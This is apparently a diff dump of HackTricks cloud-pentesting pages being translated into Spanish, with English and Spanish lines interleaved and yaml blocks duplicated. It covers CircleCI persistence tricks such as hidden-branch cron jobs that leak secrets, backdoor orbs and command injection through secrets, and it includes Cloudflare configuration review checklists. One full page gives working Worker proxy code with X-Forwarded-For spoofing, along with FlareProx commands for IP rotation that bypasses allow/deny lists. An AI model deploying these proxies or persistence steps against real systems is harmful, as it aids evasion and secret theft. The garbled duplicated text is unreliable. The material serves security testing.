Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno en la nube)**, podrías encontrar un **punto final de metadatos en la nube con información interesante**.
Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Or even a docker container with access to a remote docker service:
O incluso un contenedor de docker con acceso a un servicio de docker remoto:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistencia
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso de los usuarios.
- _https://app.circleci.com/settings/user/tokens_
- Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Es posible **agregar claves SSH** a los proyectos.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días.
- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de los proyectos** todos los días.
- Si eres un propietario de github, puedes **permitir orbs no verificados** y configurar uno en un trabajo como **puerta trasera**.
- Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -8,7 +8,7 @@ In a Cloudflare account there are some **general settings and services** that ca
## Websites
Review each with:
Revisar cada uno con:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
- [ ] En **`Transfer Domains`** comprobar que no sea posible transferir ningún dominio.
Review each with:
Revisar cada uno con:
{{#ref}}
cloudflare-domains.md
@@ -26,34 +26,40 @@ cloudflare-domains.md
## Analytics
_I couldn't find anything to check for a config security review._
_No pude encontrar nada que revisar para una auditoría de configuración de seguridad._
## Pages
On each Cloudflare's page:
En cada Pages de Cloudflare:
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
- [ ] Comprobar **información sensible** en el **`Build log`**.
- [ ] Comprobar **información sensible** en el **Github repository** asignado a Pages.
- [ ] Comprobar posible compromiso del repo de Github vía **workflow command injection** o compromiso `pull_request_target`. Más info en la [**Github Security page**](../github-security/index.html).
- [ ] Buscar funciones vulnerables en el directorio `/fuctions` (si existe), revisar los redirects en el archivo `_redirects` (si existe) y los encabezados mal configurados en el archivo `_headers` (si existe).
- [ ] Buscar **vulnerabilidades** en la **web page** mediante blackbox o whitebox si puedes acceder al código.
- [ ] En los detalles de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Comprobar **información sensible** en las **`Environment variables`**.
- [ ] En la página de detalles revisar también el **build command** y el **root directory** buscando potenciales injections que puedan comprometer la página.
## **Workers**
On each Cloudflare's worker check:
En cada Worker de Cloudflare comprobar:
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
- [ ] Los triggers: ¿qué hace que el worker se ejecute? ¿Puede un **usuario enviar datos** que serán **usados** por el worker?
- [ ] En **`Settings`**, revisar las **`Variables`** que contengan **información sensible**.
- [ ] Revisar el **código del worker** y buscar **vulnerabilidades** (especialmente en puntos donde el usuario puede controlar el input).
- Comprobar SSRFs que retornen la página indicada que puedas controlar.
- Comprobar XSSs que ejecuten JS dentro de una imagen svg.
- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un R2 bucket almacenando información en él obtenida del input. En ese caso, es necesario comprobar qué capacidades tiene el worker sobre el R2 bucket y cómo podría abusarse de ellas desde el input del usuario.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
On each R2 bucket check:
@@ -70,8 +76,8 @@ TODO
## Security Center
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
- [ ] Si es posible, ejecutar un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que resaltarán información interesante desde el punto de vista de la **seguridad**.
- [ ] Simplemente **revisa esta información** en busca de misconfiguraciones de seguridad e información interesante.
## Turnstile
@@ -88,41 +94,41 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
- [ ] Comprobar que las **expressions** y **requirements** de los redirects **tengan sentido**.
- [ ] Comprobar también endpoints ocultos **sensitive** que puedan contener información interesante.
## Notifications
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
- [ ] Revisar las **notifications.** Estas notificaciones se recomiendan para seguridad:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Comprobar todos los **destinos**, ya que podría haber **información sensible** (basic http auth) en las webhook urls. Asegúrate también de que las webhook urls usen **HTTPS**.
- [ ] Como comprobación extra, podrías intentar suplantar una notificación de cloudflare a un tercero; quizá puedas inyectar algo peligroso.
## Manage Account
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta**, la **fecha de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**.
- [ ] Es posible ver el **tipo de plan** usado en la cuenta en **`Billing` -> `Subscriptions`**.
- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **role**. Ten en cuenta que si el plan no es Enterprise, solo existen 2 roles: Administrator y Super Administrator. Pero si el plan usado es Enterprise, [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) pueden utilizarse para aplicar el principio de menor privilegio.
- Por lo tanto, siempre que sea posible se **recomienda** usar el **Enterprise plan**.
- [ ] En Members se puede comprobar qué **miembros** tienen **2FA enabled**. **Todos** los usuarios deberían tenerlo activado.
> [!NOTE]
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
@@ -132,6 +138,3 @@ cloudflare-zero-trust-network.md
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,126 +1,126 @@
# Cloudflare Domains
# Dominios de Cloudflare
{{#include ../../banners/hacktricks-training.md}}
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Overview
### Resumen
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta
- [ ] Encontrar también el **ID de zona** y el **ID de cuenta**
### Analytics
### Analítica
- [ ] In **`Security`** check if there is any **Rate limiting**
- [ ] En **`Seguridad`** verificar si hay alguna **limitación de tasa**
### DNS
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros DNS**
- [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com)
- [ ] Verificar páginas web que **no están** **protegidas**
- [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP
- [ ] Verificar que **DNSSEC** está **habilitado**
- [ ] Verificar que **CNAME Flattening** está **usado** en **todos los CNAMEs**
- Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga
- [ ] Verificar que los dominios [**no son vulnerables a suplantación**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
### **Correo Electrónico**
TODO
### Spectrum
### Espectro
TODO
### SSL/TLS
#### **Overview**
#### **Resumen**
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
- [ ] La **encriptación SSL/TLS** debe ser **Completa** o **Completa (Estricto)**. Cualquier otra enviará **tráfico en texto claro** en algún momento.
- [ ] El **Recomendador de SSL/TLS** debe estar habilitado
#### Edge Certificates
#### Certificados de Edge
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
- [ ] **Siempre Usar HTTPS** debe estar **habilitado**
- [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado**
- [ ] **La versión mínima de TLS debe ser 1.2**
- [ ] **TLS 1.3 debe estar habilitado**
- [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas**
- [ ] **Monitoreo de Transparencia de Certificados** debe estar **habilitado**
### **Security**
### **Seguridad**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
- [ ] En la sección **`WAF`** es interesante verificar que se están **usando reglas de Firewall** y **limitación de tasa** para prevenir abusos.
- La acción **`Bypass`** **desactivará las características de seguridad** de Cloudflare para una solicitud. No debería ser utilizada.
- [ ] En la sección **`Page Shield`** se recomienda verificar que está **habilitado** si se utiliza alguna página
- [ ] En la sección **`API Shield`** se recomienda verificar que está **habilitado** si alguna API está expuesta en Cloudflare
- [ ] En la sección **`DDoS`** se recomienda habilitar las **protecciones DDoS**
- [ ] En la sección **`Configuraciones`**:
- [ ] Verificar que el **`Nivel de Seguridad`** es **medio** o mayor
- [ ] Verificar que el **`Tiempo de Desafío`** es de 1 hora como máximo
- [ ] Verificar que la **`Verificación de Integridad del Navegador`** está **habilitada**
- [ ] Verificar que el **`Soporte de Privacy Pass`** está **habilitado**
#### **CloudFlare DDoS Protection**
#### **Protección DDoS de CloudFlare**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
- Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso.
- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie.
- Si el ataque proviene de un **bot verificado**, al menos **agrega un límite de tasa** a los bots.
- Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta.
- También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF.
- Verifica si las **Reglas Administradas** también podrían ayudar a prevenir explotaciones de vulnerabilidades.
- En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs específicas** y **agentes de usuario.**
- En DDoS podrías **anular algunas reglas para hacerlas más restrictivas**.
- **Configuraciones**: Establece el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador está habilitada**.
- En Dominios de Cloudflare -> Analítica -> Seguridad -> Verifica si **la limitación de tasa** está habilitada
- En Dominios de Cloudflare -> Seguridad -> Eventos -> Verifica si hay **Eventos maliciosos detectados**
### Access
### Acceso
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
### Speed
### Velocidad
_I couldn't find any option related to security_
_No pude encontrar ninguna opción relacionada con la seguridad_
### Caching
### Caché
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
- [ ] En la sección **`Configuración`** considera habilitar la **Herramienta de Escaneo CSAM**
### **Workers Routes**
### **Rutas de Workers**
_You should have already checked_ [_cloudflare workers_](#workers)
_Ya deberías haber revisado_ [_cloudflare workers_](#workers)
### Rules
### Reglas
TODO
### Network
### Red
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 a Origen`** debe estar **habilitado**
- [ ] **`HTTP/3 (con QUIC)`** debe estar **habilitado**
- [ ] Si la **privacidad** de tus **usuarios** es importante, asegúrate de que **`Onion Routing`** esté **habilitado**
### **Traffic**
### **Tráfico**
TODO
### Custom Pages
### Páginas Personalizadas
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
- [ ] Es opcional configurar páginas personalizadas cuando se activa un error relacionado con la seguridad (como un bloqueo, limitación de tasa o estoy en modo de ataque)
### Apps
### Aplicaciones
TODO
### Scrape Shield
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** está **habilitada**
- [ ] Verificar que los **Excluidos del lado del servidor** están **habilitados**
### **Zaraz**
@@ -131,6 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,286 @@
# Abusar de Cloudflare Workers como pass-through proxies (rotación de IP, estilo FireProx)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers pueden desplegarse como proxies HTTP transparentes de pass-through donde la URL objetivo upstream la suministra el cliente. Las solicitudes salen desde la red de Cloudflare, por lo que el objetivo observa las IPs de Cloudflare en lugar de las del cliente. Esto refleja la conocida técnica FireProx en AWS API Gateway, pero usando Cloudflare Workers.
### Key capabilities
- Soporta todos los métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- La URL de destino puede suministrarse mediante un parámetro de consulta (?url=...), un encabezado (X-Target-URL), o incluso codificada en la ruta (p.ej., /https://target)
- Los headers y el body se proxian a través con filtrado de hop-by-hop/encabezados según sea necesario
- Las respuestas se relayan de vuelta, preservando el código de estado y la mayoría de los encabezados
- Suplantación opcional de X-Forwarded-For (si el Worker lo establece desde un encabezado controlado por el usuario)
- Rotación extremadamente rápida/fácil desplegando múltiples endpoints de Worker y repartiendo las solicitudes
### How it works (flow)
1) El cliente envía una petición HTTP a una URL de Worker (`<name>.<account>.workers.dev` o una ruta de dominio personalizado).
2) El Worker extrae la URL de destino desde un parámetro de consulta (?url=...), el encabezado X-Target-URL, o un segmento de la ruta si está implementado.
3) El Worker reenvía el método, los encabezados y el body entrantes a la URL upstream especificada (filtrando encabezados problemáticos).
4) La respuesta del upstream se transmite de vuelta al cliente a través de Cloudflare; el origen ve las IPs de salida de Cloudflare.
### Worker implementation example
- Lee la URL de destino desde el parámetro de consulta, un encabezado o la ruta
- Copia un subconjunto seguro de encabezados y reenvía el método/body original
- Opcionalmente establece X-Forwarded-For usando un encabezado controlado por el usuario (X-My-X-Forwarded-For) o una IP aleatoria
- Añade CORS permisivo y gestiona preflight
<details>
<summary>Ejemplo de Worker (JavaScript) para pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automatizando despliegue y rotación con FlareProx
FlareProx es una herramienta en Python que usa la Cloudflare API para desplegar muchos Worker endpoints y rotar entre ellos. Esto proporciona rotación de IP estilo FireProx desde la red de Cloudflare.
Configuración
1) Crea un Cloudflare API Token usando la plantilla “Edit Cloudflare Workers” y obtén tu Account ID desde el panel de control.
2) Configura FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Crear archivo de configuración flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**Uso de la CLI**
- Crear N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Listar endpoints:
```bash
python3 flareprox.py list
```
- Prueba de salud endpoints:
```bash
python3 flareprox.py test
```
- Eliminar todos los endpoints:
```bash
python3 flareprox.py cleanup
```
**Enrutando tráfico a través de un Worker**
- Formulario de parámetros de consulta:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Formulario de encabezado:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Formato de path (si está implementado):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Ejemplos de métodos:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**Control de `X-Forwarded-For`**
Si el Worker respeta `X-My-X-Forwarded-For`, puedes influir en el valor upstream de `X-Forwarded-For`:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Uso programático**
Usa la biblioteca FlareProx para crear/listar/probar endpoints y enrutar solicitudes desde Python.
<details>
<summary>Ejemplo en Python: Enviar un POST a través de un endpoint aleatorio de Worker</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Integración con Burp/Scanner**
- Apunta las herramientas (por ejemplo, Burp Suite) a la URL del Worker.
- Proporciona el upstream real usando ?url= o X-Target-URL.
- La semántica HTTP (methods/headers/body) se preserva mientras enmascaras tu IP de origen detrás de Cloudflare.
**Notas operativas y límites**
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
- Workers run on Cloudflares network; many targets will only see Cloudflare IPs/ASN, which can bypass naive IP allow/deny lists or geo heuristics.
- Usa responsablemente y solo con autorización. Respeta ToS y robots.txt.
## Referencias
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
En una cuenta de **Cloudflare Zero Trust Network** hay algunas **configuraciones y servicios** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Useful to **get to know the environment**
- [ ] Útil para **conocer el entorno**
### **Gateway**
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
- [ ] En **`Policies`** es posible generar políticas para **restringir** por **DNS**, **red** o **HTTP** quién puede acceder a las aplicaciones.
- Si se utiliza, se podrían crear **políticas** para **restringir** el acceso a sitios maliciosos.
- Esto es **solo relevante si se está utilizando un gateway**, si no, no hay razón para crear políticas defensivas.
### Access
#### Applications
On each application:
En cada aplicación:
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
